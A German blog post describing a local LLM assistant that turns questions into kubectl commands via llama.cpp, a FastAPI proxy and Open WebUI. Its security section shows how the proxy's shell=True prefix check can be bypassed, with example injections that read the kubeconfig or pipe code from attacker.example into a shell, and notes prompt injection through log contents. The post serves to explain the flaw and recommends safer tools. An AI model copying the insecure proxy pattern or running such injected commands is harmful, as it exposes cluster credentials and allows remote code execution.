Neuigkeiten von trion.
Immer gut informiert.

Kubernetes Ops Hilfe mit lokalem LLM

Kubernetes

In Kubernetes-Clustern wird viel operatives Wissen zur Nutzung der richtigen kubectl-Befehle benötigt. Diese muss man neben den relevanten Kubernetes Grundlagen erst kennen: Welches Argument filtert Pods im CrashLoopBackOff, wie ließt man Events zu einem Deployment aus, welcher Selector gehört zu welchem Service. Ein lokal betriebenes Sprachmodell kann die Übersetzung von Fragen zum Kubernetes Cluster übernehmen: Aus einer Frage in natürlicher Sprache werden passende kubectl-Aufrufe, deren Ausgabe das Modell anschließend zusammenfasst.
Als Beispiel dient dazu ein vollständiges Docker-Compose-Setup aus llama.cpp, einem schlanken Python-Proxy und Open WebUI als Chat-Oberfläche. Dieser Beitrag stellt Konzept und Architektur des Setups vor, zeigt den Nutzen an einem konkreten Beispiel und geht auf Alternativen zu diesem Ansatz ein: Im Kleinen wie in der grundsätzlichen Architektur.

Architektur des Beispiel-Setups

Das Setup besteht aus drei Containern, orchestriert über Docker Compose:

  • llm: ein llama.cpp-Server, der ein quantisiertes Qwen3-4B-Modell über eine OpenAI-kompatible API bereitstellt.

  • agent: ein kleiner FastAPI-Service, der selbst eine OpenAI-kompatible Chat-API implementiert, dem Modell ein run_kubectl-Tool anbietet und Tool-Aufrufe ausführt.

  • openwebui: Open WebUI als Chat-Oberfläche für Endanwender.

docker-compose.yaml (gekürzt)
services:
  llm:
    image: ghcr.io/ggml-org/llama.cpp:server
    ports:
      - "8080:8080"
    volumes:
      - ~/.llama:/models
    command: >
      --host 0.0.0.0 --port 8080 --ctx-size 8192 --jinja
      -m /models/Qwen3-4B-Q4_K_M.gguf

  agent:
    build:
      context: ./agent
    environment:
      LLM_URL: http://llm:8080/v1
      KUBECONFIG: /kube/config
    volumes:
      - ./kubeconfig:/kube/config:ro

  openwebui:
    image: ghcr.io/open-webui/open-webui:main
    environment:
      OPENAI_API_BASE_URL: http://agent:8000/v1
    depends_on:
      - llm
      - agent

Der wesentliche Punkt liegt in der Verdrahtung: Open WebUI zeigt nicht auf llm, sondern auf agent als LLM API. Aus Sicht von Open WebUI ist der Agent das Sprachmodell, aus Sicht des Agenten ist llm das Sprachmodell. Dazwischen kann der Agent Tools anbieten und deren Ergebnisse in den Chatverlauf einschleusen, ohne dass Open WebUI oder llama.cpp selbst etwas davon wissen müssen.

Ablauf einer Anfrage

Der Agent definiert genau ein Tool und führt es bei Bedarf aus:

agent/main.py – Tool-Definition und Ausführung (gekürzt)
def run_kubectl(command: str) -> str:
    if not command.startswith("kubectl"):
        return "Error: Only 'kubectl' commands are allowed."
    result = subprocess.run(
        command, shell=True, capture_output=True, text=True, timeout=15
    )
    return result.stdout if result.returncode == 0 else f"Error:\n{result.stderr}"

KUBECTL_TOOL = {
    "type": "function",
    "function": {
        "name": "run_kubectl",
        "description": "Run a standard kubectl command against the Kubernetes cluster.",
        "parameters": {
            "type": "object",
            "properties": {"command": {"type": "string"}},
            "required": ["command"]
        }
    }
}

Eine Anfrage durchläuft dabei folgende Schritte:

  1. Ein Nutzer stellt in Open WebUI eine Frage, etwa "Welche Pods laufen aktuell nicht stabil?".

  2. Der Agent ergänzt ein System-Prompt und reicht die Anfrage inklusive KUBECTL_TOOL an llm weiter.

  3. Entscheidet sich das Modell für einen Tool-Aufruf, führt der Agent den kubectl-Befehl aus und hängt dessen Ausgabe als tool-Nachricht an den Verlauf an.

  4. Der Agent schickt den erweiterten Verlauf erneut an llm und bittet um eine kurze Zusammenfassung.

  5. Befehl, Rohausgabe und Zusammenfassung gehen gemeinsam an Open WebUI zurück.

Für die obige Beispielfrage könnte das Modell etwa kubectl get pods --all-namespaces --field-selector=status.phase!=Running wählen und aus der Ausgabe einen Satz wie "Zwei Pods im Namespace checkout sind in CrashLoopBackOff" formulieren.

Konkreter Nutzen

Der Nutzen liegt weniger in komplexen Automatisierungen als in der Diagnose: Wer nicht täglich mit kubectl arbeitet, muss sich nicht mühsam Feldnamen, Selektoren und Flags merken, um eine erste Einschätzung des Clusterzustands zu bekommen. Für Teams im Bereitschaftsdienst ist das relevant, ebenso für die Einarbeitung neuer Kolleginnen und Kollegen, die noch nicht jede Ecke von kubectl kennen.
Weil das Modell komplett lokal läuft, verlassen Cluster-Zustand, Ressourcennamen und Logs die eigene Infrastruktur nicht, ein Aspekt, der besonders bei sensiblen Workloads oder in regulierten Branchen zählt.
Das Thema souveräne KI-Infrastruktur haben wir bereits in einem früheren Beitrag zu Spring AI behandelt.

Sicherheit des Beispiel-Agenten

Der Agent aus dem Beispiel ist bewusst minimal gehalten und für den produktiven Einsatz nicht geeignet. Die Prüfung if not command.startswith("kubectl") soll illustrieren, dass ein Schutz erforderlich ist, der verhindert, dass das Modell beliebige Shell-Befehle ausführt. Diese Implementierung ist jedoch nicht zuverlässig: Da subprocess.run(command, shell=True, …​) den kompletten String an eine Shell übergibt, würde ein Befehl wie kubectl get pods; cat /kube/config die Prüfung ebenso passieren wie kubectl get pods $(curl attacker.example/x | sh).
Beide beginnen mit kubectl, die Shell wertet Semikolon, Backticks und Subshells danach trotzdem aus. Ob das Modell so etwas tatsächlich generiert, hängt natürlich von Modell, Prompt und eventuell von Prompt Injection über Log-Inhalte ab. Mit diesem Filter läßt sich das jedenfalls nicht ausschließen!

Das ist nur einer der Gründe, warum sich für den produktiven Einsatz ein Blick auf bestehende, dafür gebaute Werkzeuge lohnt.

Alternative Architektur: MCP statt Python-Proxy

Der Agent im Beispiel ist eine minimale, auf ein einziges Tool zugeschnittene Variante dessen, was das Model Context Protocol (MCP) standardisiert: Eine Schnittstelle, über die Sprachmodelle Werkzeuge entdecken und aufrufen können.
Statt einen eigenen OpenAI-kompatiblen Proxy zu schreiben und darin Tools fest zu definieren, lässt sich ein bestehender MCP-Server für Kubernetes einsetzen. kubernetes-mcp-server etwa spricht direkt mit der Kubernetes-API, statt intern kubectl als Subprozess über eine Shell aufzurufen, und fällt damit von vornherein nicht in dieselbe Klasse von Schwachstelle wie der Beispiel-Agent.

Wer gleich eine ganze Agenten-Laufzeit für Kubernetes sucht, findet mit kagent ein Projekt, das diverse Werkzeuge über MCP anbindet und Agenten, Modelle und Tools deklarativ konfiguriert, statt jede Integration von separat zu implementieren.
Für den engeren Anwendungsfall "Fragen zum Clusterzustand beantworten" gibt es außerdem mit k8sgpt ein fertiges Werkzeug, das über LocalAI oder Ollama an dieselbe Art von lokalem Modell angebunden werden kann und dabei mit vordefinierten Analyzern statt mit freier Kommandoausführung arbeitet.

Fazit

Das Beispiel-Setup zeigt, wie schnell sich mit llama.cpp, einem schmalen Proxy und Open WebUI ein lokaler, souveräner Chat-Assistent für kubectl-Fragen zusammenstellen lässt.
Statt für den produktiven Einsatz ist der handgeschriebene Proxy aus dem Beispiel eher ein Lernobjekt als eine Zielarchitektur: Ein fertiges Werkzeug wie k8sgpt oder eine MCP-basierte Anbindung an einen bestehenden Kubernetes-MCP-Server nehmen einem sowohl die Sicherheitsfragen als auch einen guten Teil der Wartungsarbeit ab. Das Grundprinzip, ein lokales Modell mit gezieltem Werkzeugzugriff auf den Cluster, bleibt in beiden Fällen dasselbe.

Zu den Themen Kubernetes und lokale KI-Integration bieten wir sowohl Beratung, Entwicklungsunterstützung als auch passende Schulungen an:

Auch für Ihren individuellen Bedarf können wir Workshops und Schulungen anbieten. Sprechen Sie uns gerne an.

Feedback oder Fragen zu einem Artikel - per E-Mail an [email protected] oder über das Kontaktformular. Wir freuen uns auf eine Kontaktaufnahme!

Suche

Los geht's!

Bitte teilen Sie uns mit, wie wir Sie am besten erreichen können.